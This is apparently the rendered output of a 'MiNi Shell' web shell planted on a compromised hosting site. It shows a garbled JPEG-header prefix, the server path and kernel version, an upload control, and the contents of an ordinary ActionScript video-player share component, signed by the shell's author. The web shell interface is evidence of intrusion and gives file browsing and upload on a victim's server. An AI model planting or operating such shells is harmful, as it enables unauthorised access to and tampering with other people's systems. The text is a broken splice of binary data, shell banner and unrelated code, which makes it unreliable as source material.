JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/b2920/silverspurcommunity.com/src/bitfade/media/preview/playlist/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/sb_web/b2920/silverspurcommunity.com/src/bitfade/media/preview/playlist/share.as

/*

	Implements addThis interface
	
*/
package bitfade.media.preview.playlist {	
	
	import bitfade.media.preview.playlist.reflection
	import flash.display.*
	import flash.events.*
	import flash.text.*
	
	import bitfade.utils.*
	import bitfade.ui.text.*
	import bitfade.ui.core.*
	import bitfade.ui.thumbs.thumb
	import bitfade.ui.icons.bevelGlowText
	
	import flash.external.ExternalInterface;
 
	
	public class share extends bitfade.media.preview.playlist.reflection  {
		
		// video preview component
		protected var selectedThumb:bitfade.ui.thumbs.thumb
		
		// download button
		protected var download:bitfade.ui.icons.bevelGlowText
		protected var downloadLink:String
		
		// embed button
		protected var embed:bitfade.ui.icons.bevelGlowText
		protected var embedText:bitfade.ui.text.TextField
		protected var embedTextValue:String
		
		protected var embedFadeLoop:runNode
		
		public function share(...args) {
			overrideDefaults()
			bitfade.utils.boot.onStageReady(this,args)
		}
		
		// override defaults for parent, since we are using small icons
		override protected function overrideDefaults():void {
			super.overrideDefaults()
			
			defaults.thumbs = {
				width: 32,
				height: 32,
				scale: "none",
				align: "center,center",
				frame: 0,
				enlight: 4,
				margins: "0,0",
				spacing: 4,
				horizMargin: 100
			}
			
			defaults.reflection = {
				falloff: 20,
				alpha: 20,
				offset: 20
			}
			
			defaults.embed = {
				show: false,
				button: "EMBED CODE",
				label: "RIGHT CLICK HERE, THEN CLICK COPY"
			}
			
			defaults.settings = {
				button: "DOWNLOAD THIS VIDEO",
				icons: "resources/addThis",
				label: "Share this Video Player<br>(Select Social Network)<br><br>",
				
				username: "",
				
				embedSwf: "false",
				
				url: "",
				swfurl: "",
				width: "",
				height: "",
				title: "",
				description: "",
				screenshot: ""
				
			}
			
			defaults.scrollBar.show = "never"
		}
		
		// set download link
		public function setDownload(link:String) {
			download.visible = Boolean(link) 
			downloadLink = link
			localResize()
		}
		
		// set embed text
		public function setEmbed(text:String) {
			embedTextValue = text
		}
		
		
		override protected function addIds() {
			
			super.addIds()
			
			// try to get page url
			if (!conf.settings.url) {
				try {
					conf.settings.url = ExternalInterface.call('window.location.href.toString');
				} catch (e:*) {}
			}
			
			if (conf.settings.embedSwf) {
				conf.settings.swfurl = stage.loaderInfo.url
			}
			
			var idx:uint = items
			var item:Object
			
			var fields:Array = ["embedSwf","username","url","swfurl","width","height","title","description","screenshot"]
			var prop:String
			
			// for each configure network, add defaults values
			while(idx--) {
				item = conf.item[idx]
				item.link = "share"
				
				for each (prop in fields) {
					if (!item[prop]) item[prop] = conf.settings[prop]
				}
				
				if (item.embedSwf == "false") {
					delete item.swfurl
				} 
				delete item.embedSwf
				
			}
		}
		
		override protected function initDisplay(...args):void {
			
			super.initDisplay.apply(null,args)
			
			// new
			bitfade.ui.icons.bevelGlowText.setStyle(conf.style.type)
			
			if (conf.embed.show) {
				// create embed text field
				embed = new bitfade.ui.icons.bevelGlowText("embed",conf.embed.button,24,140)	
				embedText = new bitfade.ui.text.TextField({
					// 0xA0A0A0
					defaultTextFormat: new TextFormat("PF Tempesta Seven Condensed_8pt_st",8,conf.style.type == "dark" ? 0x808080 : 0x404040),
					selectable: true,
					maxWidth : w,
					mouseEnabled: true,
					alwaysShowSelection: true,
					autoSize: "none",
					visible: false,
					name: "embedText"
				})
				
				addChild(embedText)
				
				// create embed text
				bitfade.utils.events.add(embedText,[MouseEvent.CLICK,Event.SCROLL],hideEmbedText,this)
				addChild(embed)
			}
			
			// add the download button
			download = new bitfade.ui.icons.bevelGlowText("download",conf.settings.button,24,140)
			addChild(download)
			description()
			localResize()
			
		}
		
		protected function hideEmbedText(e:*) {
			if (e.type == Event.SCROLL) {
				if (embedText.scrollV > 1) {		
					embedText.scrollV = 1
				} 
			}
			showEmbed(false)
		}
		
		// show embed text
		public function showEmbed(sw:Boolean = true) {
			if ((embedText.visible == sw) ) return
			embedFadeLoop = run.every(run.FRAME,embedFadeLoopRunner,8,0,true,embedFadeLoop,sw)
		}
		
		override public function show(sw:Boolean = true) {
			if (locked || (visible == sw) ) return
			if (!sw && embedText) showEmbed(false)
			super.show(sw)
			
		}
		
		
		// loop for switching from buttons to embed text
  		protected function embedFadeLoopRunner(ratio:Number,show:Boolean) {
  			ratio = show ? ratio : 1-ratio
  			embedText.alpha = ratio
  			embedText.visible = (embedText.alpha > 0)
  			
  			embed.alpha = 1-ratio
  			embed.visible = (embed.alpha > 0)
  			
  			if (downloadLink) {
  				download.alpha = embed.alpha
  				download.visible = embed.visible
  			}
  		}
		
		override public function description(msg:String = null) {
			
			var shareMsg : String = "<label>"+(conf.settings.label is String ? conf.settings.label : conf.settings.label.content)+"<label>"
			
			if (msg) {
				shareMsg += "<share>"+ conf.item[msg].type+"</share>" 
			}
			
			super.description(shareMsg)
			
			caption.y = h-bottom-120
		}
		
		override protected function localResize():void {
			super.localResize()
			caption.y = h-bottom-120
			
			prev.x = conf.thumbs.horizMargin-conf.thumbs.width
			next.x = offs-conf.thumbs.horizMargin+conf.thumbs.width-next.width
			
			if (download) {
				download.y = h+int((conf.caption.height-24-download.height)/2)
				download.x = int((w-download.width)/2)
			}
			
			if (embed) {
				embed.y = h+int((conf.caption.height-24-download.height)/2)
				embed.x = int((w-download.width)/2)
				
				if (embed && download && download.visible) {
					var shift: uint = Math.max(download.width/2,embed.width/2)+5
					download.x -= shift
					embed.x += shift
				}
			
				
				embedText.y = h+7
				embedText.width = 210
				embedText.height = 30
			}
			
		}
		
		override protected function evHandler(e:*):void {
			super.evHandler(e)
			if (e.target is bitfade.ui.thumbs.thumb) {
				switch (e.type) {
					case MouseEvent.MOUSE_OVER:
					case MouseEvent.MOUSE_OUT:
						if (e.type == MouseEvent.MOUSE_OVER) {
							// mouse over thumb, show preview after 0.5s
							selectedThumb = e.target
							description(selectedThumb.name)
						} else {
							// mouse out, hide preview
							description()
						}
					break;
					case MouseEvent.MOUSE_DOWN:
						// click, hide preview
						e.target.over(false)
					break;
				}
			} else if (e.target is bitfade.ui.core.IMouseOver) {
				switch (e.type) {
					case MouseEvent.MOUSE_OVER:
					case MouseEvent.MOUSE_OUT:
						e.target.over(e.type == MouseEvent.MOUSE_OVER)
					break;
					case MouseEvent.MOUSE_DOWN:
						switch (e.target.name) {
							case "download":
								resLoader.openUrl(downloadLink,"_blank")
							break;
							case "embedText":
							case "embed":
								if (embedTextValue) {
									showEmbed()					
									embedText.text = "\n"+conf.embed.label+"\n\n\n\n\n\n\n\n\n"+embedTextValue
									embedText.x = int((w-embedText.textWidth)/2)+20
				
									stage.focus = embedText;
									embedText.setSelection(embedText.text.indexOf("<object>"),embedText.text.length);
									embedText.scrollH = embedText.scrollV = 0
								}
							break;
						}
					break
				}
			}
		}
		
		override protected function openUrl(item:Object) {			
			addThis.share(item)
		}
	
		override protected function loadResource(thumb:bitfade.ui.thumbs.thumb,item:Object) {
			thumb.load(conf.settings.icons + "/" + item.type + "_32.png")
		}
	}
	
}
/* commentsOK */

Creat By MiNi SheLL
Email: devilkiller@gmail.com